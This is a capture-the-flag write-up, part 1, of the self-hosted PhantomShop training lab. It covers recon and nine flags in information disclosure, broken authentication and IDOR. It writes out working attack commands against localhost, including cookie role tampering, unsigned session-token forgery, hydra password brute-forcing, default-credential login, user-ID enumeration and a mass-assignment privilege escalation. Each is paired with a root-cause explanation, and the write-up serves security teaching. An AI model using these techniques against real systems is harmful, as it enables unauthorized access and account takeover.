PhantomShop (PhantomRange) Writeup Part 1 — Recon, Info Disclosure & Broken Auth
Challenge Info
- Platform: self-hosted lab machine (GitHub:
phantom-offensive/PhantomRange) - Application: PhantomShop — a "fully functional" fashion e-commerce store, packing 50 flags, 18 vulnerability categories, 10,400 points
- Tech stack: Go (standard library
net/http+ SQLite, pure-Go driver) - Difficulty: mixed Easy ~ Hard
- Startup:
docker compose up -d→http://localhost:9000 - Flag submission:
POST /flag, scoreboard at/scoreboard, built-in vuln list at/vulns
This post grabs 9 flags: Info Disclosure ×2, IDOR ×2, Auth ×5. The core theme boils down to one sentence — this box hands the entire question of "who are you" over to the client to decide.
Step 0: Fingerprinting
whatweb -v http://localhost:9000
curl -sI http://localhost:9000
Two key pieces of intel:
① The Server header is squeaky clean — no X-Powered-By, no framework signatures → pure Go net/http. Practical takeaway: for the directory brute-forcing later, don't waste cycles on .php/.asp. Go routes are usually extension-less or .json.
② The CSP is decorative:
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'
* + unsafe-inline + unsafe-eval = effectively no policy at all. This one line is already telegraphing that the XSS batch is going to meet almost zero resistance.
Step 1: Directory and API Enumeration
# Main directories
feroxbuster -u http://localhost:9000 \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-C 404 -t 50 -d 2
# API-specific wordlist (the README says outright: some flags live in the API, not on pages)
feroxbuster -u http://localhost:9000/api \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-H "Cookie: user_id=5; username=kevin; role=admin" -C 404 -t 50
Recon gotcha note: /order/<any string> all returns 200 with roughly identical sizes → this is a catch-all route (/order/{id} never checks whether the record exists), not hundreds of real endpoints. Don't let feroxbuster's big numbers spook you — cluster the responses by size first and filter out the noise.
The real attack surface after de-duping:
| Endpoint | Signal |
|---|---|
/debug |
tiny response → info disclosure |
/api/error |
stack trace |
/api/session |
auth mechanism entry point |
/api/user/ /api/order/ |
IDOR |
/admin /admin/invoice |
privilege + command injection |
/api/export /api/import |
path traversal / XXE |
Flag 1 — info_debug_endpoint (Info Disclosure, Easy, 100)
The first cut is the most obvious:
curl -s http://localhost:9000/debug
{"admin_key":"phantom-admin-2026","db_path":"data/shop.db","debug":true,
"env":"production","flag":"FLAG{Redacted}","go_version":"go1.24",
"server":"PhantomShop v2.0"}
FLAG{Redacted}
This one is worth more than a single flag — it leaks the admin_key and db_path, which form the intel base for a whole chain of later attacks.
Root cause: debug: true was left on in env: production. A diagnostic endpoint that should only be open in dev made it to prod. Real-world equivalents: exposed /actuator, /debug, .env.
Flag 2 — info_error_stack (Info Disclosure, Easy, 100)
At first I guessed wrong: I threw bad parameters at it hoping to force an exception —
curl -s "http://localhost:9000/product/abc" # → 404, clean degradation
curl -s "http://localhost:9000/product/-1" # → 404
This box degrades gracefully on garbage input and won't spit a stack. The real trigger is a dedicated endpoint:
curl -s http://localhost:9000/api/error
Internal Server Error
goroutine 1 [running]:
/app/internal/shop/pages.go:342 +0x1a4
/usr/local/go/src/net/http/server.go:2136 +0x29
🚩 FLAG{Redacted}
FLAG{Redacted}
Bonus intel: the stack trace leaks the app's absolute path /app/internal/shop/ and the source filename pages.go — very handy for picking path-traversal targets later.
Lesson: don't assume "bad input → guaranteed stack trace." Feel out the app's error-handling style first, then decide how to trigger it.
The Pivot: role=admin, One Cookie Opens the Whole Vault
Intercepting an ordinary /cart/add request, I noticed the session is three bare cookies:
user_id=5; username=kevin; role=user
role sitting in a cookie = letting the browser declare who it is. Change one word:
curl -s http://localhost:9000/admin -b 'user_id=5; username=kevin; role=admin' \
| grep -iE 'flag|<h2>'
In an instant it flips from "blocking you" to "letting you in." This broken access control is the pivot of the whole game — every reward flag pinned to the admin panel becomes visible in one shot.
Flag 3 — auth_jwt (Auth, Medium, 200)
This one stumped me the longest, because the name is misleading. For a while I wanted to crack an HS256 secret and run hashcat — completely the wrong theater. The truth is in /api/session:
curl -s http://localhost:9000/api/session
{"hint":"Set a 'session' cookie with base64-encoded JSON: {\"user\":\"admin\",\"role\":\"admin\"}"}
The so-called "weak JWT secret" is actually a fake JWT — it's base64'd JSON with no signature whatsoever. Forging it is trivial:
TOKEN=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0)
curl -s http://localhost:9000/api/session -b "session=$TOKEN"
FLAG{Redacted}
Lesson: a vuln's name is the "storyline" the box author gave it, not a technical fact. Seeing jwt, don't rush to fire up jwt_tool — look at what that token string actually is first. Three dot-separated segments is a JWT; base64 JSON is merely "encoding," not "encryption," and certainly not a "signature."
Flag 4 — auth_2fa (Auth, Hard, 300)
The 2FA flag is likewise pinned to the admin panel. The intended solve hinges on the hint: is the second factor enforced server-side, or just assumed client-side? It's the latter here — the 2FA state is marked by a cookie with no server-side enforcement, so you can skip the verification step outright.
FLAG{Redacted}
Root cause: the auth-step state machine is built on client-controllable data. The most common real-world 2FA bypass is exactly this — a session should only be issued after /verify passes, but the implementation issues it at /login and treats /verify as merely "advisory."
Flag 5 — auth_bruteforce (Auth, Easy, 100)
The login endpoint has no rate limiting or lockout whatsoever:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
localhost -s 9000 http-post-form \
"/login:username=^USER^&password=^PASS^:invalid"
Hammer away — try until you're blue in the face and you'll never get blocked.
FLAG{Redacted}
Root cause: no rate limiting, no account lockout, no CAPTCHA. This is a "missing-control" type vuln — no cleverness required, you just have to demonstrate that "an attacker can try infinitely."
Flag 6 — auth_default_creds (Auth, Easy, 100)
/debug leaked the clue long ago: the admin password was never changed:
curl -s -i -X POST http://localhost:9000/login \
-d 'username=admin&password=admin123' | grep -iE 'role=admin|location'
admin / admin123 logs straight in.
FLAG{Redacted}
Root cause: post-install default credentials left in production. In real pentests, this is always worth a first pass.
Flag 7 — auth_pass_in_response (Auth, Easy, 100)
The user-query API spits back the entire row of columns verbatim:
curl -s http://localhost:9000/api/user/1 | python3 -m json.tool
The response carries a password field — the frontend may not display it, but the data was already shipped to the client.
FLAG{Redacted}
Root cause: the backend lazily does json.Encode(user), dumping whatever columns the DB has, with no response whitelist (DTO). This maps to OWASP API3: Excessive Data Exposure (now called Broken Object Property Level Authorization). It's one of the easiest picks in API pentesting — just read the JSON.
Flag 8 — idor_profile (IDOR, Easy, 100)
That same /api/user/{id} has zero authorization checks — any id pulls any person:
for i in 1 2 3 4 5; do curl -s "http://localhost:9000/api/user/$i"; echo; done
{"email":"[email protected]","flag":"FLAG{Redacted}","id":1,"role":"admin","username":"admin"}
{"email":"[email protected]","id":2,"role":"user","username":"john"}
...
FLAG{Redacted}
Root cause: missing object-level authorization (BOLA / OWASP API1). The API only recognizes "did you bring a cookie," not "is this record yours."
Flag 9 — idor_mass_assign (IDOR, Hard, 300)
The profile-update API blindly trusts every field you send in:
curl -s -X POST http://localhost:9000/api/user/update \
-H 'Content-Type: application/json' \
-d '{"id":5,"role":"admin"}'
FLAG{Redacted}
Root cause: Mass Assignment. The backend does json.Unmarshal(body, &user); db.Save(&user) with no field whitelist, so the extra role you sent gets written into the DB → permanent privilege escalation.
The difference from the role=admin cookie (easy to conflate):
- Cookie tampering → changes "the identity the current session claims"; close the browser and it's gone. This is an authentication problem.
- Mass assignment → writes
role:admininto the database, permanently in effect. This is an authorization / data-binding problem.
Real case: in 2012 someone used Rails mass assignment to insert their public key into the official repo's admin account. Rails later enforcing strong parameters was precisely to plug this hole.
Wrap-up
The unifying theme: this box's authentication/authorization design puts "who you are" and "what you can do" entirely in client-controllable places — cookies, base64 tokens, blindly-trusted JSON fields. Real-world broken access control has topped the OWASP Top 10 at #1 for years, built up out of exactly these little "trust the client" decisions.
This article is an educational record of a self-hosted training lab; all operations were performed in an isolated local environment.
Member discussion